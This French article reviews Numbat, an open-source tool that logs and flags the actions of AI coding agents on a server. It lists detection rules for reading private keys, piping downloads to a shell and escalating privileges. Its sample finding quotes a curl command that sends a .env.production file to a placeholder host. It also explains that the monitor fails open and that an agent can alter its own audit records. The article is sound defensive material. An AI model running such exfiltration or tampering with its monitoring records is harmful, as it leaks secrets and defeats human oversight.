Numbat : surveiller les actions de vos agents IA

Ce qu’est Numbat

Numbat vous permet de voir ce qu’un agent IA a fait sur une machine dont vous êtes propriétaire. Il lit les callbacks de hooks et les fichiers de session que les agents de programmation produisent déjà, les normalise dans un format d’événement unique, puis les compare à des règles qui se déclenchent lors de comportements tels que la lecture d’une clé privée SSH ou l’envoi direct d’un téléchargement vers un shell. Perplexity l’a publié en open source sous licence Apache 2.0, avec la première release taguée le 29 juillet 2026.

Tout ce qui suit provient du repository du projet et de sa propre documentation, consultés le 2 août 2026. Lorsque Perplexity avance une affirmation, cet article l’indique. Il ne s’agit pas d’un tutoriel d’installation, car le repository date de quelques jours et ses commandes vont changer.

Le problème : personne ne consigne les actions de l’agent

Un agent de codage exécuté sur votre VPS lance des commandes shell, lit des fichiers, écrit des fichiers et ouvre des connexions réseau, avec les droits de l’utilisateur que vous lui avez attribué. Votre historique shell n’enregistre rien de tout cela, car l’agent ne saisit pas les commandes dans votre shell. sshd consigne votre connexion, mais rien de ce que le modèle décide ensuite. /var/log/auth.log reste silencieux tant qu’aucun processus n’a tenté d’accéder à sudo. L’agent conserve sa propre transcription, mais ce fichier se trouve dans le répertoire de session de l’agent, son format change selon les releases et le processus de l’agent peut lui-même y écrire.

Ainsi, lorsque quelqu’un demande si l’agent a lu .env.production mardi dernier, la réponse honnête est que, sur la plupart des serveurs, vous ne pouvez pas le vérifier. C’est cette lacune qui est à l’origine de ce projet.

Ce que Perplexity affirme que Numbat fait

Le README commence par présenter l’outil comme offrant « une visibilité au niveau du endpoint sur l’activité des agents IA, avec une détection locale, un blocage facultatif avant action et une reconstruction forensique ». Ici, endpoint désigne la machine sur laquelle l’agent s’exécute, et non un équipement réseau qui observe l’activité depuis l’extérieur. Il s’agit de capacités distinctes, qui n’ont pas le même poids.

La détection s’exécute sur l’appareil. Les règles sont écrites en CEL (Common Expression Language) et évaluées localement. Des règles de séquence en plusieurs étapes peuvent s’y ajouter, et vous pouvez définir vos propres règles en YAML. Une règle peut se déclencher sans qu’aucune donnée ne quitte la machine.

Le blocage est facultatif et limité. Il fonctionne uniquement par l’intermédiaire de hooks synchrones exécutés avant l’action, sur les agents qui en proposent un. Il reste désactivé tant que vous ne l’activez pas.

La reconstruction intervient après les faits. numbat scan analyse les artefacts de session qu’un agent a déjà écrits sur le disque. Vous pouvez donc examiner une activité antérieure à l’installation de l’outil. Le projet encadre soigneusement cette affirmation : « La reconstruction des données au repos n’est ni une acquisition du disque ni une acquisition de la mémoire ; elle ne peut pas récupérer une activité que l’agent n’a pas persistée. »

La sortie est au format NDJSON versionné (JSON délimité par des retours à la ligne). Elle couvre les événements, les détections, les décisions d’application des règles, les indicateurs et les synthèses d’analyse, avec la version de schéma 0.2.0 dans v0.1.2. Les enregistrements sont envoyés vers stdout ou vers un fichier local, et éventuellement via HTTP vers un collecteur que vous exécutez. Le logiciel est fourni sous la forme d’un binaire Go statique unique, compilé sans cgo, pour macOS, Linux et Windows sur amd64 et arm64. Sur un VPS Linux, il s’agit donc d’un seul fichier et aucun runtime n’a besoin d’être installé au préalable.

Quels agents Numbat peut-il réellement voir ?

La matrice de couverture dans docs/agent-coverage.md fait foi, et elle est inégale. Le projet l’indique clairement au lieu de le dissimuler. Claude Code, Codex, Gemini CLI, Cursor et GitHub Copilot CLI prennent en charge l’analyse des artefacts et la capture en direct avec un pre-action hook. OpenClaw bénéficie d’un plugin natif à partir de la version 2026.7.1. De nombreuses autres entrées sont marquées comme différées. Cela signifie qu’un chemin de live hook existe, mais pas l’analyseur d’artefacts. C’est souvent parce que l’agent stocke son historique dans SQLite avec un write-ahead log qu’il n’est pas possible de lire sans risque pendant son fonctionnement. OpenCode et Cline appartenaient à ce groupe lorsque la matrice a été consultée, le 2 August 2026.

Consultez la ligne correspondant à votre agent avant de planifier quoi que ce soit avec cet outil, car « pris en charge » ne signifie presque jamais la même chose d’une ligne à l’autre.

À quoi ressemble une détection

Les règles possèdent des identifiants qui indiquent leur fonction. secrets.read_private_key couvre une clé SSH, des identifiants AWS, une configuration kube ou une connexion à un registre de paquets. exec.download_pipe_shell se déclenche lorsque la sortie de curl ou wget est redirigée vers un interpréteur. privilege.elevated_shell détecte une demande de shell root interactif via sudo, doas, su ou pkexec. impact.cryptomining_launch correspond aux binaires et noms d’images de mineurs connus.

Les règles de séquence associent des événements au sein d’une même session. chain.secret_read_then_egress nécessite la lecture d’un fichier contenant un secret, suivie d’une commande qui transmet des données vers l’extérieur. Le README publie le résultat ci-dessous à partir de la rejouabilité contrôlée de deux callbacks pré-action de Claude Code, et non d’un incident réel. Il est abrégé ici pour ne conserver que les champs importants :

{
  "record_type": "finding",
  "rule_id": "chain.secret_read_then_egress",
  "rule_version": "1.4",
  "severity": "high",
  "confidence": "medium",
  "title": "Secret-file access followed by data-bearing egress",
  "observed_command": "curl --data-binary @/workspace/acme-api/.env.production https://collector.example.invalid/ingest",
  "source_agent": "claude-code",
  "source_type": "hook",
  "tags": ["attack.t1048", "attack.t1552", "attack.t1567"]
}

Notez la présence de "confidence": "medium" dans l’enregistrement, ainsi que ce que le projet indique à propos de cette catégorie de sortie : « Les résultats sont des correspondances de règles, pas une preuve de compromission. » Un script de déploiement qui lit une clé, puis téléverse un artefact de build, correspondra à cette même règle de séquence. La correspondance est correcte, mais l’alerte est injustifiée. C’est la situation habituelle avec tous les outils de détection que vous avez déjà exécutés.

Le blocage est désactivé par défaut et le système est permissif en cas de défaillance

Toutes les règles livrées avec Numbat sont limitées à la surveillance. Transformer une règle en règle de blocage demande une intervention explicite : copiez l’intégralité du YAML de la règle dans votre propre répertoire, conservez le même identifiant, ajoutez enforce: true, incrémentez la version, puis validez et installez cette policy.

numbat rules check --rules-dir ./numbat-policy
numbat hook install --agent codex --emit all \
  --rules-dir ./numbat-policy --enforce

La question est maintenant de déterminer dans quelle mesure vous pouvez lui faire confiance. Le deny de Numbat est une réponse renvoyée à l’agent, et c’est l’agent qui refuse réellement l’appel de l’outil. Le guide d’enforcement décrit clairement le comportement lorsque Numbat rencontre un problème : « Les payloads mal formés, les erreurs d’évaluation pertinentes, les panics et les erreurs de sortie suppriment le deny de numbat. » L’entrée du hook est limitée à 4 MiB, et une entrée trop volumineuse suit le même chemin.

Le guide décrit tout aussi clairement la limite d’un deny effectivement renvoyé : « Le fail-open signifie que numbat ne renvoie pas sa réponse deny. Cela ne garantit pas l’exécution de l’outil : l’hôte peut toujours demander une confirmation, refuser l’opération, expirer, ou appliquer un autre hook ou une autre policy. »

L’enforcement constitue donc ici un garde-fou, pas une frontière de sécurité. Si le processus plante, Numbat ne bloque pas l’action, car un monitor qui immobilise votre agent chaque fois qu’il rencontre un problème serait désinstallé en moins d’une semaine. Ce compromis est raisonnable. Ne construisez simplement pas un modèle de sécurité qui suppose que le deny arrive toujours.

Où Numbat s’intègre à votre environnement existant

Numbat s’exécute sur l’endpoint, dans l’arborescence de processus de l’agent, et écrit par défaut dans ~/.numbat/records.ndjson. Un agent exécuté avec votre compte peut lire ce fichier. Il peut également le modifier. La valeur de la piste d’audit dépend exactement du niveau d’isolation qui l’entoure. Tous les contrôles que vous avez déjà mis en place doivent donc se trouver en amont de celui-ci, et non en aval.

Donner à l’agent de code une VM éphémère limite ce qu’une exécution malveillante peut atteindre. Utiliser un compte avec le principe du moindre privilège sur le VPS empêche l’agent d’accéder aux fichiers qu’il n’a aucune raison d’ouvrir. Garder les identifiants hors du contexte de l’agent rend un secrets.read_private_key suffisamment rare pour que sa lecture soit utile lorsqu’il se déclenche. Et le sandbox que vous avez configuré pour Claude Code sur un VPS reste le mécanisme qui assure le confinement.

Numbat ajoute l’enregistrement des événements. Vous devez donc envoyer cet enregistrement vers un emplacement auquel l’agent ne peut pas accéder. numbat ship et le HTTP sink servent à cela. Une copie du flux sur une deuxième machine fait la différence entre un fichier journal et une preuve. Le modèle d’événement contient également des champs MCP (model context protocol). Les appels d’outils qui passent par un serveur MCP que vous hébergez sur un VPS apparaissent ainsi dans le même flux que les commandes shell locales. C’est important, car ce chemin est invisible pour tout outil qui surveille uniquement bash.

Essayez d’abord en lecture seule

Installez une version figée. Go 1.26.5 ou une version ultérieure est nécessaire pour go install. La page des releases fournit des binaires précompilés avec des sommes de contrôle SHA-256 si vous préférez ne pas compiler depuis les sources.

go install github.com/perplexityai/numbat/cmd/numbat@v0.1.2
numbat agents
numbat scan

numbat agents détecte les agents installés sur le serveur. numbat scan analyse les artefacts de session déjà présents sur le disque et affiche les enregistrements. Le README précise que ces commandes « n’installent pas de hooks et ne modifient pas la configuration des agents » et que numbat « n’exécute jamais les agents ni les commandes trouvés dans les artefacts. Il n’effectue des requêtes sortantes que vers les HTTP sinks configurés ». L’analyse est en lecture seule et masque les secrets. La sortie normale des enregistrements n’inclut jamais une transcription brute complète.

La capture en direct est l’étape suivante. Elle modifie effectivement la configuration des agents :

numbat hook install --agent codex --emit all
numbat hook status --agent codex

--emit all écrit les événements, les résultats, les indicateurs et les décisions d’enforcement applicables dans ~/.numbat/records.ndjson. Deux points de vigilance sont directement indiqués par le projet. Les hooks doivent parfois être approuvés dans l’agent avant de pouvoir s’exécuter. Cette approbation doit être réexaminée après toute modification de flags tels que --enforce. De plus, hook status « vérifie la configuration, et non l’exécution ni la livraison ». Un état indiquant que le service fonctionne ne prouve donc pas que des enregistrements sont reçus quelque part.

Pourquoi un dépôt aussi récent ne constitue pas une dépendance

Les versions publiques sont v0.1.1, publiée le 29 July 2026, et v0.1.2, publiée le 1 August 2026. Le dépôt comptait 597 stars au moment de la rédaction de cet article, le 2 August 2026. Une progression aussi rapide reflète l’audience de Perplexity, pas la robustesse du code. Une star signifie qu’une personne a enregistré la page pour la consulter plus tard.

Le numéro de version indique clairement le niveau de maturité du projet. Les notes de v0.1.2 concernent principalement des corrections de masquage des identifiants, ainsi que la normalisation des case bundles et de la télémétrie. Les bugs de masquage correspondent au type de défaut attendu au début d’un outil chargé de lire en toute sécurité les transcripts d’autres programmes. D’autres apparaîtront, car les données proviennent d’une douzaine d’agents qui modifient chacun leur format selon leur propre calendrier.

Deux règles pratiques en découlent. Épinglez le tag, jamais @latest, dans tout ce que vous conservez. Considérez aussi cet outil comme un instrument que vous évaluez, et non comme un composant critique dont vous dépendez, au moins jusqu’à ce que le schéma des enregistrements cesse d’évoluer.

FAQ

Numbat bloque-t-il les commandes dangereuses des agents IA ?

Uniquement si vous l’activez, et seulement au mieux. Toutes les règles fournies par Numbat sont en mode monitor uniquement. Pour bloquer une commande, copiez le YAML de la règle dans votre propre répertoire, conservez son identifiant, ajoutez enforce: true, incrémentez la version, puis installez le hook avec --enforce. Même dans ce cas, le refus est transmis à l’agent, et c’est l’agent qui refuse l’appel. Le projet documente un fonctionnement fail-open : les payloads malformés, les erreurs d’évaluation, les panics et les échecs de sortie suppriment tous le refus. Utilisez ce mécanisme comme garde-fou, pas comme seule limite de sécurité.

Quels agents IA Numbat prend-il en charge ?

La couverture varie selon l’agent et est indiquée dans docs/agent-coverage.md du dépôt. Claude Code, Codex, Gemini CLI, Cursor et GitHub Copilot CLI disposaient à la fois de l’analyse des artefacts et de la capture en temps réel lorsque cette page a été consultée le 2 août 2026. OpenClaw dispose d’un plugin natif depuis la version 2026.7.1. De nombreux autres agents sont associés à un chemin de hook temps réel, mais ne disposent pas encore d’un parseur d’artefacts. Leur historique de session se trouve généralement dans une base SQLite qu’il n’est pas prudent de lire pendant l’exécution de l’agent. Consultez la ligne correspondant à votre agent, car le terme « pris en charge » recouvre plusieurs niveaux différents dans ce tableau.

L’agent peut-il altérer les enregistrements de Numbat ?

Oui, s’il s’exécute avec le même utilisateur. Par défaut, les enregistrements sont stockés dans ~/.numbat/records.ndjson sur la même machine que l’agent. Tout processus disposant d’un accès en écriture à ce chemin peut donc les modifier ou les supprimer. Envoyez le flux vers un collecteur que l’agent ne peut pas atteindre, avec numbat ship ou le sink HTTP, et conservez le fichier local comme copie pratique. C’est également la raison pour laquelle cet outil complète l’isolation au lieu de la remplacer. Un agent confiné dans une VM jetable et exécuté avec un utilisateur disposant du principe du moindre privilège a beaucoup moins de possibilités d’agir sur sa propre trace d’audit.

Numbat est-il prêt pour un serveur de production ?

Pas comme un contrôle dont vous dépendez. La première version publique était v0.1.1, publiée le 29 juillet 2026, et v0.1.2 a suivi le 1er août 2026. Les flags et le schéma des enregistrements évoluent donc encore. L’exécution de numbat agents et numbat scan sur une machine est en lecture seule et présente peu de risques. Elle vous indique ce que vos agents ont laissé sur le disque. Installer des hooks d’application des règles sur un serveur important est une autre décision. Elle nécessite un tag épinglé et un plan précisant le comportement attendu si le hook fonctionne mal.